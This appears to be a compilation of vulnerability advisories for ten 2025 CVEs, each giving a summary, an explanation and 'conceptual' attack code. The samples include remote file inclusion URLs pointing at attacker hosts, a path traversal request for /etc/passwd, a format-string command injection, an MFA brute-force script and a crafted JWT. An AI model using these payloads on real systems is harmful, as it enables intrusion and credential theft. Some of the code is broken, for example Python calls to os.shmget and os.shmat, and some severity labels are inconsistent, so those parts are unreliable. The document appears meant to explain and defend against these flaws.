Author: Ameeba

Overview

This report addresses the CVE-2025-57925 vulnerability, an issue arising from the improper control of filename for Include/Require Statement in PHP programs. This vulnerability affects immonex Kickstart Team versions up to 1.6.9 and can result in a significant security breach, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-57925
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Possible system compromise or data leakage.

Affected Products

Product | Affected Versions

immonex Kickstart Team | Up to 1.6.9

How the Exploit Works

The exploit works by taking advantage of the PHP Remote File Inclusion vulnerability in the immonex Kickstart Team. This vulnerability arises from the improper control of filename for Include/Require Statement in PHP programs. A malicious actor may leverage this vulnerability to include a file from a remote server that contains malicious PHP code, leading to the execution of arbitrary PHP code on the affected system.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

GET /vulnerable_file.php?file=http://malicious.com/malicious.php HTTP/1.1
Host: target.example.com

In this example, the attacker sends a GET request to a vulnerable PHP file on the target host, passing a URL of a remote malicious PHP file as a parameter. The server then includes this remote file, executing the malicious PHP code.

Mitigation Guidance

To mitigate the effects of this vulnerability, users are advised to apply the vendor patch as soon as it is available. In the meantime, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure against possible exploits.

Overview

The vulnerability, identified as CVE-2025-53450, is a critical flaw in the Pluginwale Easy Pricing Table WP, which could allow an attacker to include local files via PHP remote file inclusion. The issue arises from improper handling of the filename for include/require statement in the PHP program, making various versions of Easy Pricing Table WP susceptible. This vulnerability is of significant concern due to its potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-53450
Severity: Critical (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Pluginwale Easy Pricing Table WP | n/a – 1.1.3

How the Exploit Works

An attacker exploits this vulnerability by manipulating the filename in the include/require statement of the PHP program. This manipulation allows the attacker to remotely include a file, typically from a server they control, into the server-side script. The included file can contain malicious PHP code that can be executed on the server, leading to potential full system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerablewebsite.com

In this example, the attacker is making a GET request to the vulnerable website, manipulating the ‘file’ parameter to include a PHP file from a server they control. The server then processes this malicious PHP file, leading to undesired actions such as system compromise or data leakage.

Mitigation Guidance

Users are advised to apply the vendor-provided patch immediately to mitigate this vulnerability. If the patch cannot be applied immediately, it is recommended to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure.

Overview

CVE-2025-59420 is a critical vulnerability identified in the Authlib Python library. This vulnerability, which affects versions of Authlib prior to 1.6.4, has potential system compromise or data leakage implications for any servers built using this library. The vulnerability’s importance is underscored by its high CVSS severity score of 7.5 and the risks it poses to OAuth and OpenID Connect servers.

Vulnerability Summary

CVE ID: CVE-2025-59420
Severity: High – CVSS Score 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Authlib Python Library | Prior to version 1.6.4

How the Exploit Works

This exploitable vulnerability lies in Authlib’s JWS verification process. It accepts tokens that declare unknown critical header parameters (crit). This behavior violates RFC 7515’s “must-understand” semantics. Attackers can craft a signed token with a critical header that strict verifiers would reject but Authlib would accept. In mixed-language fleets, this can enable split-brain verification, leading to policy bypass, replay attacks, or privilege escalation.

Conceptual Example Code

The following pseudocode exemplifies the crafting of the malicious token:

import jwt
header = {
"alg": "HS256",
"typ": "JWT",
"crit": ["bork", "cnf"]
}
payload = {"admin": True}
malicious_token = jwt.encode(header, payload, "secret_key")

In this example, the `”crit”` field in the header contains unrecognized parameters (`”bork”` and `”cnf”`). This token will be rejected by strict verifiers but accepted by Authlib prior to version 1.6.4, potentially leading to policy bypass, replay attacks, or privilege escalation.

Overview

The CVE-2025-57430 vulnerability pertains to Creacast Creabox Manager 4.4.4, a popular content management system. The product exposes sensitive configuration data via a public endpoint, potentially leading to unauthorized system access and data leakage. This vulnerability is of significant concern due to the potential for system compromise and the potential to reveal plaintext admin credentials.

Vulnerability Summary

CVE ID: CVE-2025-57430
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized system access and potential data leakage

Affected Products

Product | Affected Versions

Creacast Creabox Manager | 4.4.4

How the Exploit Works

The vulnerability arises from an exposed endpoint (/get) that, when accessed, returns sensitive internal configuration data. Among the information exposed is the creacodec.lua file, which contains plaintext admin credentials. An attacker can access this endpoint without any required user interaction or privileges, making it a significant security risk.

Conceptual Example Code

This conceptual example demonstrates how the vulnerability might be exploited:

GET /get HTTP/1.1
Host: target.example.com
Content-Type: application/json

Upon sending this request, the sensitive configuration data, including the plaintext admin credentials, would be returned by the server, and could then be used for unauthorized system access.

Mitigation

The recommended mitigation for this vulnerability is to apply the vendor-supplied patch. If the patch is not immediately available or feasible to apply, a temporary mitigation can be achieved using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block or monitor access to the vulnerable endpoint.

Overview

The CVE-2025-36202 vulnerability is a significant flaw in IBM’s webMethods Integration versions 10.15 and 11.1. This vulnerability, if exploited, could allow authenticated users with specific service execution privileges to carry out commands on the system. This flaw arises from improper validation of format string strings passed from an external source. It presents a substantial threat to organizational cybersecurity, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-36202
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

IBM webMethods Integration | 10.15
IBM webMethods Integration | 11.1

How the Exploit Works

The vulnerability is rooted in the improper validation of format string strings. An attacker, authenticated and possessing the necessary service execution privileges, could exploit this flaw to pass malicious commands from an external source. The system, failing to validate these strings adequately, could execute these commands, potentially compromising the system or leading to data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. Note that the following is a simplified representation and does not represent actual exploit code.

POST /executeService HTTP/1.1
Host: vulnerable-ibm-webmethods.com
Content-Type: application/json
Authorization: Basic [Base64-encoded credentials]
{
"service": "affectedService",
"args": {
"formatString": "%s%s%s%s%s...%s%s%s%s%s; malicious_command;"
}
}

In this example, the attacker uses a format string attack. They pass a malicious command within a string of format specifiers. The system, failing to validate the string properly, executes the malicious command as part of processing the format string.

Overview

The vulnerability identified as CVE-2025-35041 pertains to Airship AI’s Acropolis product and its handling of Multi-factor Authentication (MFA). This cybersecurity flaw allows for unlimited MFA attempts for a quarter of an hour after a user with valid credentials has logged in. Undeniably, this issue poses a significant risk to businesses and individuals utilizing the affected versions of Acropolis, as it creates an opportunity for unauthorized access and potential data leakage.

Vulnerability Summary

CVE ID: CVE-2025-35041
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Airship AI Acropolis | <10.2.35, 11.0.20, 11.1.8 How the Exploit Works

The vulnerability arises due to improper handling of MFA by Airship AI Acropolis. Once a user with valid credentials logs into the system, the MFA process allows unlimited attempts to enter the 6-digit MFA code for a 15-minute window. A remote attacker can exploit this by launching a brute-force attack to guess the MFA code during this time period, potentially gaining unauthorized access to the system.

Conceptual Example Code

Although specific exploitation methods may vary, a brute-force attack could conceptually involve a script to automatically generate and attempt all possible 6-digit combinations within the 15-minute window. A rudimentary Python script might resemble:

import requests
username = 'valid_username'
password = 'valid_password'
mfa_code_start = 000000
mfa_code_end = 999999
for code in range(mfa_code_start, mfa_code_end):
response = requests.post('https://target.example.com/login', data = {'username': username, 'password': password, 'mfa_code': str(code).zfill(6)})
if 'Login successful' in response.text:
print("Access granted with MFA code: " + str(code).zfill(6))
break

Please note this is only a conceptual example and does not represent a real exploit.

Overview

This report details a significant vulnerability, identified as CVE-2025-26515, that affects previous versions of StorageGRID prior to 11.8.0.15 and 11.9.0.8 without Single Sign-On enabled. This vulnerability poses a serious threat as it can potentially allow an unauthenticated attacker to alter the password of any non-federated Grid Manager or Tenant Manager user. The severity of this vulnerability is underscored by its potential to compromise systems and lead to data leakage.

Vulnerability Summary

CVE ID: CVE-2025-26515
Severity: High, CVSS score: 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

StorageGRID | versions prior to 11.8.0.15
StorageGRID Webscale | versions prior to 11.9.0.8

How the Exploit Works

This exploit takes advantage of a Server-Side Request Forgery (SSRF) vulnerability in StorageGRID. By sending a maliciously crafted request, an unauthenticated attacker can trick the server into changing the password of any non-federated Grid Manager or Tenant Manager user. This could potentially allow the attacker to gain unauthorized access to the system and possibly leak sensitive data.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. The attacker sends a malicious HTTP POST request, targeting the password change function of the server.

POST /api/change_password HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"username": "victim_user",
"new_password": "attacker_password"
}

In this example, `victim_user` would be the username of the targeted Grid Manager or Tenant Manager user and `attacker_password` would be the new password set by the attacker.

Overview

This report details the cybersecurity vulnerability known as CVE-2025-10468, which is an improper limitation of a pathname to a restricted directory, or ‘Path Traversal’, vulnerability that affects the software product CityPlus by Beyaz Computer. This vulnerability is of significant concern as it could lead to potential system compromise or data leakage, thereby posing a risk to the confidentiality, integrity, and availability of the affected systems.

Vulnerability Summary

CVE ID: CVE-2025-10468
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

CityPlus | Before 24.29375

How the Exploit Works

The CVE-2025-10468 vulnerability allows a malicious actor to traverse the file directory stored within CityPlus software due to insufficient security restrictions. This vulnerability can be exploited when the software fails to sufficiently sanitize user-supplied input before using it in file system operations. An attacker could manipulate file and directory paths to navigate out of the intended directory structure to access files or directories that are outside of the restricted directory.

Conceptual Example Code

Here is a conceptual example demonstrating how an HTTP request might be crafted to exploit this vulnerability:

GET /file?filename=../../../etc/passwd HTTP/1.1
Host: vulnerable.cityplus.com
Content-Type: application/json

In this example, the attacker is attempting to traverse the directory to access a sensitive file (`/etc/passwd`) that resides outside of the intended directory structure.

Mitigation

To mitigate this vulnerability, it is advised to apply the vendor’s patch for CityPlus versions before 24.29375. In situations where applying the patch is not immediately possible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure, providing some level of protection by detecting and blocking path traversal attempts.

Overview

The vulnerability CVE-2025-23329 is a critical issue affecting the NVIDIA Triton Inference Server for both Windows and Linux systems. This vulnerability allows an attacker to cause memory corruption by identifying and accessing the shared memory region used by the Python backend, which can potentially lead to a system compromise or data leakage. It is a significant concern for organizations utilizing the NVIDIA Triton Inference Server due to its high CVSS severity score and potential impact.

Vulnerability Summary

CVE ID: CVE-2025-23329
Severity: High – CVSS Score 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

NVIDIA Triton Inference Server for Windows | All versions prior to the patched version
NVIDIA Triton Inference Server for Linux | All versions prior to the patched version

How the Exploit Works

The exploit takes advantage of a flaw in the NVIDIA Triton Inference Server’s handling of shared memory regions utilized by the Python backend. An attacker can identify and access this shared memory region, causing memory corruption. If executed successfully, this could lead to a denial of service, system compromise, or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

# Python pseudocode for a potential exploit
import os
# Identify shared memory region
shmem_id = os.shmget(key, size, flags)
# Access and corrupt the shared memory region
shmem_address = os.shmat(shmem_id, None, flags)
os.write(shmem_address, malicious_data)

The above example is very simplified and does not represent a real-world exploit. It is only intended to illustrate the nature of the vulnerability. In real-world conditions, exploiting this vulnerability would likely involve complex and sophisticated code.

Recommendations

Users are strongly advised to apply the vendor-provided patch to mitigate this vulnerability. Until the patch can be applied, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation. Regularly updating and patching software is crucial in maintaining a secure environment.

Overview

The NVIDIA Triton Inference Server, a popular choice for both Windows and Linux environments, has been identified as having a security vulnerability, CVE-2025-23328. This vulnerability could allow an attacker to cause an out-of-bounds write through specially crafted input, leading to a potential denial of service. This vulnerability is critical as it affects a widely used server, and if exploited, could result in system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-23328
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of service, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

NVIDIA Triton Inference Server for Windows | All versions prior to patch
NVIDIA Triton Inference Server for Linux | All versions prior to patch

How the Exploit Works

The vulnerability is exploited when an attacker sends specially crafted input to the NVIDIA Triton Inference Server. The server fails to properly handle this input, leading to an out-of-bounds write. This could cause the server to crash, leading to a denial of service. Moreover, it may also allow an attacker to execute arbitrary code or access sensitive information, leading to potential system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited, using a hypothetical malicious payload in a network request:

POST /api/v1/inference HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "data": "AAA...[long string]...AAA" } // Overly long string causing out-of-bounds write

Here, the attacker sends a POST request with a long string in the ‘data’ field. The NVIDIA Triton Inference Server fails to handle this input properly, leading to out-of-bounds write and triggering the vulnerability.